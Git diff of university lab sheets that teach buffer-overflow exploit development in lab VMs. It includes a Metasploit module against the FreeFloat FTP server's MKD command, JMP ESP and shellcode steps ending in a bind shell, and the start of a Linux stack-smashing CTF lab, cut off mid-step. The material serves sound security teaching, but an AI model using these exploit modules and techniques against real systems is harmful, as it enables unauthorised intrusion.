|
||||
|
||||
==action: Edit the above code==, so that bad is set to `pattern_create(500)`, rather than a sequence of As.
|
||||
|
||||
`pattern_create(length)` generates a special pattern that can be used to calculate the offset, based on having any section of the pattern. Your exploit will now generate the special pattern and send it as the malicious input to the program. The aim is to use this pattern to calculate the length of the offset before the EIP overwrite occurs.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Restart the service in OllyDBG==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Restart msfconsole (or run reload_all), and launch your updated exploit:==
|
||||
|
||||
```bash
|
||||
msf > reload_all
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > use exploit/windows/ftp/FreeFloatMKDoverflow
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > exploit
|
||||
```
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Note the new EIP address error==.
|
||||
|
||||
![][image-11]
|
||||
*OllyDbg access violation shown in the status bar*
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Run the new EIP value through MSF's pattern_offset tool:==
|
||||
|
||||
```bash
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q ==edit:EIP-value== -l 500
|
||||
```
|
||||
|
||||
==action: Record the EIP offset you have calculated==.
|
||||
|
||||
> Note: So you now know the offset: the number of bytes from the start of the input, to the part of the input that overwrites EIP.
|
||||
|
||||
==action: Confirm this by updating your bad variable in the exploit code, so that it starts with "A" * offset, then four Bs, then lots of Cs==.
|
||||
|
||||
> Hint: `bad = "A" * ==edit:offset== + "BBBB" + "C" * 30`
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Restart your debugging==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Reload MSF modules, and rerun your exploit module==.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
If you have correctly overwritten exactly the EIP you will have written the value 0x42424242 (since 0x42 is hex for ASCII 66, which represents a B).
|
||||
|
||||
![][image-12]
|
||||
*OllyDbg access violation shown in the status bar*
|
||||
|
||||
## Adding shellcode {#adding-shellcode}
|
||||
|
||||
Now that you can control execution of the vulnerable service, you need to decide where to put the shellcode/payload. You could either place the shellcode before or after the set of Bs representing your control of EIP, since you control both areas of input.
|
||||
|
||||
==action: Browse the Register and Stack panes, and find the As, Bs, and Cs==.
|
||||
|
||||
![][image-13]
|
||||
*OllyDbg browsing input on the stack*
|
||||
|
||||
Next, look to see if any of the registers are already pointing to the potential shellcode areas. If so, you can jump directly to a register, which is an ideal situation (otherwise you would need to find another way to jump to the shellcode).
|
||||
|
||||
> Question: Do you think the shellcode should be stored in the As section or the Cs section?
|
||||
|
||||
We have ESP pointing somewhere in the Cs, which is good because there is some space there.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Add a payload to the Cs section:==
|
||||
|
||||
==action: Update bad to be:==
|
||||
|
||||
```ruby
|
||||
bad = "A" * '==edit:offset==' + "BBBB" + payload.encoded + "CCCC"
|
||||
```
|
||||
|
||||
## Getting to the shellcode {#getting-to-the-shellcode}
|
||||
|
||||
Finally, you need a new return address to replace "BBBB" that will land you in your shellcode.
|
||||
|
||||
Since you may not know exactly where the pointer will land within the Cs, you can add a NOP slide…
|
||||
|
||||
> Question: What is a NOP, and what is a NOP slide?
|
||||
|
||||
==action: Update the bad variable to:==
|
||||
|
||||
```ruby
|
||||
bad = "A" * '==edit:offset==' + "BBBB" + "\x90" * 30 + payload.encoded + "CCCC"
|
||||
```
|
||||
|
||||
> Question: Why can't you just replace BBBB with the memory address showing in OllyDB that you can see the Cs starting in?
|
||||
|
||||
Part of the answer: you cannot simply write a memory address directly into that space, since the memory addresses within the stack changes each time the program runs (depending on order of functions called etc). An alternative way to get to your shellcode is to point EIP at an instruction within memory that jumps the code to the ESP register.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
To find such an instruction:
|
||||
|
||||
==action: Restart the debugging of the FTP server==.
|
||||
|
||||
==action: Right click the instruction pane (top left), and Search for → Command==.
|
||||
|
||||
==action: Search for "JMP ESP"==
|
||||
|
||||
If the command does not exist in the main program (it doesn't in this case), you can search through the shared libraries that the program uses for a JMP ESP instruction:
|
||||
|
||||
==action: View (menu) → Executable Modules==
|
||||
|
||||
> Note: When developing exploits it is often best to use return values that point to libraries that ship with the program, rather than system libraries which may change with each Windows release, or be affected by ASLR. However, in this case there does not seem to be any other choice.
|
||||
|
||||
==action: Select a module of your choice==
|
||||
|
||||
==action: Try searching for "JMP ESP"==
|
||||
|
||||
==action: Once you have found one, make a note of the address==.
|
||||
|
||||
> Note: Choose a return address that does not include 0x00, 0x0A, or 0x0D.
|
||||
|
||||
> Question: What return address have you found, and what library was it in?
|
||||
|
||||
> Tip: For example, one solution is to search within the module USER32. However, you should try to find another one if you can.
|
||||
|
||||
==action: Replace the "BBBB" in the exploit to a reversed (Little Endian) version of the return address you have found. For example, 0x12345678 would become:==
|
||||
|
||||
```ruby
|
||||
bad = "A" * '==edit:offset==' + "==edit:\x78\x56\x34\x12==" + "\x90" * 30 + payload.encoded + "C" * 10
|
||||
```
|
||||
|
||||
> Note: Remove all the single quotes above
|
||||
|
||||
> Question: Why do you need to write the address "reversed" in the code?
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Restart your debugging==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Restart Metasploit, and rerun your exploit module==.
|
||||
|
||||
> Note: The exploit won't complete yet.
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
> Note: The program crashes due to your payload including characters that get misinterpreted.
|
||||
|
||||
## Getting it working {#getting-it-working}
|
||||
|
||||
For now, let's assume the typical set of bad characters applies in this case: 0x00, 0x0A, 0x0D and 0x20. These represent characters such as a null byte or a carriage return, which can cause problems such as terminating a string or command if they are misinterpreted.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update the module info at the start of the Metasploit exploit module, to include the line:==
|
||||
|
||||
```ruby
|
||||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x20"},
|
||||
```
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Restart your debugging==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Restart Metasploit, and rerun your exploit module, setting the payload:==
|
||||
|
||||
```bash
|
||||
set payload windows/shell/bind_tcp
|
||||
```
|
||||
|
||||
This time the program **terminates** as soon as the exploit runs (rather than having an access violation). This indicates that your exploit is not generating any errors, but is causing the server to stop. This can be avoided by setting another Metasploit option.
|
||||
|
||||
==action: Update the module info at the start of the Metasploit exploit module, to include the line:==
|
||||
|
||||
```ruby
|
||||
'DefaultOptions' => {'EXITFUNC' => 'process'},
|
||||
```
|
||||
|
||||
==VM: On the Windows 7 VM (victim/debugger)==
|
||||
|
||||
==action: Restart your debugging==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Restart Metasploit, and rerun your exploit module (with the bind_tcp payload)==.
|
||||
|
||||
At this point your exploit should now be fully working! You will end up with a shell on the Windows system! **Hurray!**
|
||||
|
||||
> Note: If your exploit did not work, there may be a problem with your selected "JMP ESP". Try finding another return address. In some cases, you may need to restart the debugger and FTP server several times before the exploit will work successfully.
|
||||
|
||||
![][image-14]
|
||||
*Payload away!*
|
||||
|
||||
==action: Confirm you have access to the remote system by running:==
|
||||
|
||||
```bash
|
||||
> cd c:/users/
|
||||
```
|
||||
|
||||
```bash
|
||||
> dir
|
||||
```
|
||||
|
||||
```bash
|
||||
> cd ==edit:username==/Desktop
|
||||
```
|
||||
|
||||
```bash
|
||||
> type flag.txt
|
||||
```
|
||||
|
||||
## Finishing touches {#finishing-touches}
|
||||
|
||||
==action: Store the offset and return address with the Targets setting… Open your exploit module for editing and change the following lines==.
|
||||
|
||||
This line:
|
||||
|
||||
```ruby
|
||||
'Targets' => [ [ 'Windows 7 Professional x64 SP1, no ASLR', { } ],],
|
||||
```
|
||||
|
||||
becomes:
|
||||
|
||||
```ruby
|
||||
'Targets' => [ [ 'Windows 7 Professional x64 SP1, no ASLR', {'Offset' => ==edit:XXX==, 'Ret' => 0x==edit:XXXXXXXX== } ],],
|
||||
```
|
||||
|
||||
> Note: (Where you should replace the values with the ones you identified earlier.)
|
||||
|
||||
==action: Replace the offset number within your code with:==
|
||||
|
||||
```ruby
|
||||
target['Offset']
|
||||
```
|
||||
|
||||
==action: Replace the return address within your code with:==
|
||||
|
||||
```ruby
|
||||
[target.ret].pack('V')
|
||||
```
|
||||
|
||||
==action: Replace the 'A's and NOPs with a call to make_nops(number)==.
|
||||
|
||||
> Question: What is the difference between using 0x90 instructions versus using calls to make_nops()? What is the advantage?
|
||||
|
||||
==action: Remove the 'C's from the bad variable==.
|
||||
|
||||
==action: Test your changes: Close OllyDbg and start FreeFloat outside of it, and restart msfconsole. Try re-running your exploit==.
|
||||
|
||||
You could further improve the module by:
|
||||
|
||||
* Improve the description: include further information about the flaw
|
||||
|
||||
* Add to the author list with information about who first discovered this vulnerability, when it was discovered, and who wrote this guide (always give credit where it is due)
|
||||
|
||||
* Figure out what the maximum space there is for the payload and include this in the Payload definition (look at other exploits for examples)
|
||||
|
||||
* Test for other possible bad characters, and update accordingly (Google will come in handy here)
|
||||
|
||||
* Test other payloads, including meterpreter, and make sure it works
|
||||
|
||||
==action: Read through your complete code, and ensure you understand the purpose of every line==.
|
||||
|
||||
## No ASLR
|
||||
|
||||
> Note: This vulnerability has been simplified by disabling ASLR, and your exploit will only work as-is against another Windows 7 SP1 system that has been set up this way. This is equivalent to the security available in Windows XP and earlier. We will return to security mitigations in another topic.
|
||||
|
||||
## Exploit development and exploitation CTF challenges
|
||||
|
||||
There is a second Windows 7 VM, also with ASLR disabled, with the same vulnerable FTP server.
|
||||
|
||||
> Flag: Use your exploit you have created to compromise the vulnerable server, and find the flag (in a user's Desktop directory).
|
||||
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Manually crashed a program by overwriting EIP
|
||||
|
||||
* Created a Metasploit exploit module that duplicates this
|
||||
|
||||
* Figured out how to overwrite EIP with anything of your choosing (by calculating the offset from the start of the input to the value that is restored from the stack to EIP)
|
||||
|
||||
* Pointed EIP at an instruction somewhere else in memory (the program’s code) to get your shellcode running
|
||||
|
||||
* Written code to exploit the remote buffer overflow
|
||||
|
||||
* Hacked a server with your very own exploit\!
|
||||
|
||||
Well done\!
|
||||
|
||||
[image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-1.png
|
||||
[image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-2.png
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-3.png
|
||||
[image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-4.png
|
||||
[image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-5.png
|
||||
[image-6]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-6.png
|
||||
[image-7]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-7.png
|
||||
[image-8]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-8.png
|
||||
[image-9]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-9.png
|
||||
[image-10]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-10.png
|
||||
[image-11]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-11.png
|
||||
[image-12]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-12.png
|
||||
[image-13]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-13.png
|
||||
[image-14]: {{ site.baseurl }}/assets/images/software_security_exploitation/4_exploit_development/image-14.png
|
||||
507
_labs/software_security_exploitation/5_linux_stack_bof.md
Normal file
@@ -0,0 +1,507 @@
|
||||
---
|
||||
title: "Exploit Development: Linux and Stack-smashing Buffer Overflows"
|
||||
author: ["Z. Cliffe Schreuders", "Thomas Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn to identify and exploit buffer overflow vulnerabilities on Linux systems, including manual exploitation techniques and Metasploit exploit development. This lab covers CTF challenges with increasing complexity."
|
||||
overview: |
|
||||
Buffer overflows are a common security issue that can be exploited to gain unauthorized access to a system or execute malicious code. In this lab you will delve deeper into the world of buffer overflow vulnerabilities, this time on Linux systems, expanding upon the skills learned in the previous lab. The exercises will cover both manual exploitation techniques and the development of Metasploit exploits, while introducing Capture The Flag (CTF) challenges of increasing complexity. By the end of this lab, you will have a deeper understanding of exploit development, honing your skills in identifying and exploiting buffer overflows on both Windows and Linux, further enriching your knowledge in the world of cybersecurity.
|
||||
|
||||
Throughout this lab, you will learn how to identify and exploit buffer overflow vulnerabilities in Linux applications. You will start by manually causing buffer overflows, identifying memory addresses, and understanding the significance of these addresses. Subsequently, you will create Metasploit exploit modules to automate the exploitation process. The lab includes Capture The Flag (CTF) challenges, where you will create and deploy attacks to gain shell access to complete specific objectives. The challenges will require you to jump to existing code, inject your own shellcode, and tackle varying levels of complexity. By the end of this lab, you will have a solid grasp of exploit development and practical experience in exploiting buffer overflow vulnerabilities on Linux systems.
|
||||
tags: ["buffer-overflow", "exploit-development", "metasploit", "linux", "ctf", "shellcode"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1wgxLYHkdeLknRcbzZY73xZt36TWExuu-lfIJhRuHE-I/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development"]
|
||||
---
|
||||
|
||||
|
||||
## Buffer Overflow Exploits on Linux Systems {#buffer-overflow-exploits-on-linux-systems}
|
||||
|
||||
Initially, we will attack programs which, similarly to last week on Windows, have been compiled with no stack protections. The aim of this approach is to gradually introduce the mitigation mechanisms in easy to digest chunks.
|
||||
|
||||
Some programming languages require the programmer to manually manage memory. This involves defining how much memory is allocated for a variable to store data in. Programmers can make incorrect assumptions whilst reserving memory for variable-length pieces of data.
|
||||
|
||||
If a user can supply data which is insecurely copied to a memory location which is not large enough to contain it, adjacent memory can be overwritten. Ensuring that a variable has enough memory reserved to fit some supplied data inside is known as **bounds-checking**.
|
||||
|
||||
In some cases, adjacent memory may contain critical data that is used in the control flow of the program. A prime example of this is a function’s return address, which is pushed onto the stack when a function is called so that the program knows where to return to once the function has completed. If we can overwrite this address, we can **hijack the control flow** and cause the program to return to another location.
|
||||
|
||||
The challenges for this week involve overwriting a buffer overflow exploit, return address with another location within the program. The CTF challenges for this week have a slight difference in the win condition. Rather than exploiting the binary by causing it to run the typical "win" function, you will need to exploit the program to get elevated shell access and read the flag file manually (once you have shell, you can `cat flag`).
|
||||
|
||||
## Writing a Metasploit Exploit to Attack a Linux System {#writing-a-metasploit-exploit-to-attack-a-linux-system}
|
||||
|
||||
The process for writing a metasploit exploit to attack the Linux victim software in this lab is very similar to the process of attacking the Windows system from the previous lab. Many of the steps will be familiar, and many of the same skills and approaches will apply.
|
||||
|
||||
Any Linux debugger can be used, such as the venerable gdb, however, we have installed a graphical debugger, EDB, which is similar to Ollydbg you used on Windows.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Note the IP address of your Desktop VM==.
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls ~/challenges
|
||||
```
|
||||
|
||||
==action: Change to the first challenge directory (always run the challenges after changing to the challenge directory first):==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_simple_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ncat -kl -p 3333 -e ./Ch_simple_BOF_1
|
||||
```
|
||||
|
||||
This runs the command as a network service, so you can connect from the Kali system over the network, and attack / test the service.
|
||||
|
||||
==action: Leave this running==.
|
||||
|
||||
==VM: From your Kali VM (attacker/exploit development)==
|
||||
|
||||
==action: Connect manually to test the program we are attacking:==
|
||||
|
||||
```bash
|
||||
nc ==edit:DESKTOP_IP_ADDRESS== 3333
|
||||
```
|
||||
|
||||
==action: Enter some text and press enter==.
|
||||
|
||||
==action: Try to trigger a buffer overflow==.
|
||||
|
||||
> Note: The process does not appear to crash. Investigate what ncat's -k flag does.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Close ncat==.
|
||||
|
||||
==action: Make a copy of the program so that we have a copy without setgid (privileges) so that we can fully debug it to develop an attack==.
|
||||
|
||||
```bash
|
||||
cp ~/challenges/Ch_simple_BOF_1/Ch_simple_BOF_1 ~/
|
||||
```
|
||||
|
||||
==action: Change to your home directory, which now contains a copy of the challenge:==
|
||||
|
||||
```bash
|
||||
cd
|
||||
```
|
||||
|
||||
==action: Run a netcat listener that will continually spawn our vulnerable challenge executable:==
|
||||
|
||||
```bash
|
||||
ncat -kl -p 3333 -e ./Ch_simple_BOF_1
|
||||
```
|
||||
|
||||
==action: Leave this running==.
|
||||
|
||||
> Note: Each time anyone connects to the port the challenge program is started and interacts over TCP connection.
|
||||
|
||||
Let's see that in action...
|
||||
|
||||
==VM: From your Kali VM (attacker/exploit development)==
|
||||
|
||||
==action: Connect manually to the program we are attacking:==
|
||||
|
||||
```bash
|
||||
nc ==edit:DESKTOP_IP_ADDRESS== 3333
|
||||
```
|
||||
|
||||
==action: Don't enter any input==...
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
You can confirm that the challenge program is currently running, started by ncat. Leaving ncat running, ==action: run this in another console tab:==
|
||||
|
||||
```bash
|
||||
ps aux --forest | grep pts
|
||||
```
|
||||
|
||||
> Note: The `--forest` shows the processes in a tree; grep filters these to those with "pts" which refers to the virtual terminal (in this case programs started from Konsole tabs).
|
||||
|
||||
> Note: When launching ncat with -k to host a binary over the network, the ncat process runs and listens on the specified port. Only once a connection is made, ncat launches the sub process (in this case our CTF challenge).
|
||||
|
||||
==action: Start debugging the program:==
|
||||
|
||||
```bash
|
||||
edb --attach `pgrep -n Ch_simple_BOF_1`
|
||||
```
|
||||
|
||||
> Note: You can ignore a "Failed to open session file. No such file or directory" error. Click OK.
|
||||
|
||||
> Note: The `pgrep` is a simple way of getting the process id (pid) from a program. We could find the pid from the ps command above and run `ebd --attach ==edit:PID==`, however, the pgrep approach above is much easier to repeat.
|
||||
|
||||
> Note: You can repeat this command each time you restart the attack after a connection is established with the challenge process, to attach to the vulnerable service that is spawned by ncat to handle the incoming connection.
|
||||
|
||||
> Note: You need to establish the connection (with nc or later your exploit code) before you can start debugging the program. If we run pgrep to search for running processes named "Ch_simple_BOF_1" before establishing the connection, the subprocess won't have been started by the ncat parent process yet.
|
||||
|
||||
You are going to develop an attack to take control of the vulnerable program to get shell access.
|
||||
|
||||
Later, once you have written an attack that works against the debugger running version of the program, you will need to start ncat again launching the original program, and attack with your exploit code without using the debugger.
|
||||
|
||||
When the debugger attaches or starts, it pauses the process.
|
||||
|
||||
==action: Press the play button (each time)==, to let the challenge program continue to run, now attached to the debugger.
|
||||
|
||||
![][image-3]
|
||||
*EDB debugger poised and ready to go*
|
||||
|
||||
Like OllyDbg, the registers are visible on the top right. Top left are the assembly instructions, the stack is visible at the bottom right.
|
||||
|
||||
## Manual exploitation {#manual-exploitation}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Cause a buffer overflow, by entering into the previously connected nc...==
|
||||
|
||||
```
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
![][image-4]
|
||||
*Manual exploitation crashing the program*
|
||||
|
||||
> Question: What is the memory address that was attempted to execute? Why is this interesting / good news?
|
||||
|
||||
Every time you want to test another input you will need to:
|
||||
|
||||
* first connect with nc from Kali (which gets ncat to spawn the program we want to debug)
|
||||
* then restart edb with the command above:
|
||||
```bash
|
||||
edb --attach `pgrep -n Ch_simple_BOF_1`
|
||||
```
|
||||
or attach using the File->Attach from the menu, and search for "Ch_simple_BOF_1"
|
||||
* Ncat will continue to automatically spawn the challenge program each time there is a connection to TCP port 3333.
|
||||
|
||||
## Writing an MSF exploit module {#writing-an-msf-exploit-module}
|
||||
|
||||
You will start by automating that buffer overflow using a metasploit exploit module.
|
||||
|
||||
==VM: From your Kali VM (attacker/exploit development)==
|
||||
|
||||
==action: Create a Metasploit exploit module, and save it as **bof1.rb** in **/home/***USERNAME***/.msf4/modules/exploits/linux/misc/**:==
|
||||
|
||||
> Hint: To make the directory path, you can run `mkdir -p /home/*USERNAME*/.msf4/modules/exploits/linux/misc/`
|
||||
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => 'BOF 1 challenge',
|
||||
'Description' => 'Shell via overflow',
|
||||
'Author' => [ 'Your name'],
|
||||
'Version' => '$Revision: 1 $',
|
||||
'Platform' => ['linux'],
|
||||
'Targets' => [ [ 'Automatic Target', { } ],],
|
||||
'DefaultTarget' => 0,
|
||||
'License' => GPL_LICENSE
|
||||
))
|
||||
register_options( [ Opt::RPORT(3333) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
puts "A TCP based Metasploit module"
|
||||
connect
|
||||
banner = sock.get_once.to_s.strip
|
||||
print_status "Banner: #{banner}"
|
||||
|
||||
puts "\n\nAttach your debugger on the desktop now, then press enter"
|
||||
gets
|
||||
puts "Continuing!"
|
||||
|
||||
bad = "A" * 500
|
||||
|
||||
sock.put bad + "\n\n"
|
||||
buf = sock.timed_read(500)
|
||||
puts "received #{buf}"
|
||||
buf = sock.get_once(10)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
> Question: Read the above code, and compare it to the code from the previous Windows exploit. What has changed?
|
||||
|
||||
> Note: Reminder: When using msfconsole you need to run `reload_all` (or restart msfconsole) for any changes to take effect.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Start msfconsole, and launch your new exploit:==
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > use exploit/linux/misc/bof1
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > set RHOST ==edit:Desktop-IP-address==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > set LHOST ==edit:Kali-IP-address==
|
||||
```
|
||||
|
||||
```bash
|
||||
msf (FreeFloatMKDoverflow) > exploit
|
||||
```
|
||||
|
||||
> Tip: Or alternatively you can more easily send (and later repeat) all those commands at once via the bash prompt:
|
||||
|
||||
```bash
|
||||
msfconsole -x 'use exploit/linux/misc/bof1; set RHOST ==edit:Desktop-IP-address==; set LHOST ==edit:Kali-IP-address==; exploit'
|
||||
```
|
||||
|
||||
> Note: After the exploit has run you can run the same version again by running "exploit" or press Ctrl-D to exit msfconsole and then run the above command to run an updated version of your exploit.
|
||||
|
||||
> Note: If there is a problem loading your new exploit, scroll up in msfconsole's output to read any error messages, then fix any code mistakes and restart msfconsole and try the above again.
|
||||
|
||||
When prompted by the exploit "Attach your debugger on the desktop now"...
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Restart EDB==.
|
||||
|
||||
> Note: Reminder: Close EDB then, run:
|
||||
```bash
|
||||
edb --attach `pgrep -n Ch_simple_BOF_1`
|
||||
```
|
||||
|
||||
> Note: If things go well, you will have changed EIP to 0x41414141 (AAAA), and caused an access violation. The address does not point to mapped memory, that is the kernel has not allocated any actual RAM to that virtual address.
|
||||
|
||||
![][image-4]
|
||||
*EDB access violation shown in an error message*
|
||||
|
||||
## Finding the offset {#finding-the-offset}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Exit metasploit console==.
|
||||
|
||||
Your next step is to determine the offset within the input that overwrites the return pointer, which gets loaded into EIP. Just how many As does it take to overwrite EIP?
|
||||
|
||||
==action: Edit your exploit code, so that bad is set to "pattern_create(500)", rather than a sequence of As==.
|
||||
|
||||
==action: Restart msfconsole (or run reload_all), and launch your updated exploit==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Note the new invalid address==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
The new error message will provide an address you can use to calculate the offset on the stack of the return address.
|
||||
|
||||
```bash
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q ==edit:EIP-value== -l 500
|
||||
```
|
||||
|
||||
==action: Confirm this by updating your bad variable in the exploit code==, so that it starts with "A" * ==edit:offset==, then four Bs, then lots of Cs.
|
||||
|
||||
> Hint: `bad = "A" * ==edit:offset== + "BBBB" + "C" * 30`
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Reload MSF modules, and rerun your exploit module==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Restart your debugging when prompted==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
If you have correctly overwritten exactly the EIP you will have written the value 0x42424242 (since 0x42 is hex for ASCII 66, which represents a B), and receive that as a new invalid memory error message.
|
||||
|
||||
![][image-5]
|
||||
|
||||
## Spawning a shell {#spawning-a-shell}
|
||||
|
||||
This week we will look at 2 ways to spawn a shell. For the first challenge, we will write an exploit that hijacks execution to run a function that spawns a shell for us. For the second, we will have to provide our own shellcode.
|
||||
|
||||
Compiled programs can contain functions / code that are not actually used within the control flow graph of the program. This is the case with all programs that include libraries.
|
||||
|
||||
* Either statically compiled, where the library code is included within the executable
|
||||
* or dynamically loaded libraries
|
||||
|
||||
Also the case with programs where code that can never be reached is included in the program (often referred to as **dead code**). We will look at an example of this first CTF challenge.
|
||||
|
||||
## CTF Challenge 1 {#ctf-challenge-1}
|
||||
|
||||
**Challenge 1** has a `get_shell()` function that is not called within `main()`. You need to identify the memory address of the function and use that as a return value to jump to it. You could find the memory address of the function using one of the following tools:
|
||||
|
||||
* EDB
|
||||
* gdb
|
||||
* objdump
|
||||
* nm
|
||||
|
||||
EDB has a handy feature for identifying functions and their addresses. ==action: Restart your exploit on Kali, and debugger on your desktop==.
|
||||
|
||||
==action: Open the FunctionFinder:==
|
||||
|
||||
![][image-6]
|
||||
|
||||
==action: Select the challenge binary, and click "Find"==.
|
||||
|
||||
==action: Search through and find the `get_shell` function==.
|
||||
|
||||
> Tip: You can double click on the entry to jump to that section in the main debugger window.
|
||||
|
||||
==action: Note the memory address of the function==.
|
||||
|
||||
When you jump to that address the shell will execute directly -- this is different to how many exploits work, where we inject our own shellcode into the running program. As a result you need to tweak the exploit module to tell metasploit to hand off the connection to a shell session, which can run bash command payloads, rather than inject a machine code payload.
|
||||
|
||||
Here is an outline of the steps you will need to complete your exploit:
|
||||
|
||||
1. ==action: Set the return pointer (replace "BBBB") with the memory address of the `get_shell` function. (And remove "C"s)==.
|
||||
> Hint: You can write the memory address as a manually little endian format, or convert it programmatically like this:
|
||||
|
||||
`[...lots of As...] [==edit:0xffffd2a8==].pack('V') [...new line...]`
|
||||
2. ==action: Experiment sending some bash commands, after gaining shell, such as `id` and read back the output to the screen==.
|
||||
> Hint: Something along the lines of:
|
||||
|
||||
```ruby
|
||||
sock.put "id\n"
|
||||
buf = sock.timed_read(50000)
|
||||
```
|
||||
|
||||
> Note: Each time you write to the socket, you should do a timed read to receive any messages sent back from the server.
|
||||
3. ==action: Set some metadata on the exploit so that MSF can deploy command line payloads==.
|
||||
> Hint: Something along the lines of:
|
||||
```ruby
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
```
|
||||
4. ==action: Deliver the metasploit payload to the socket==.
|
||||
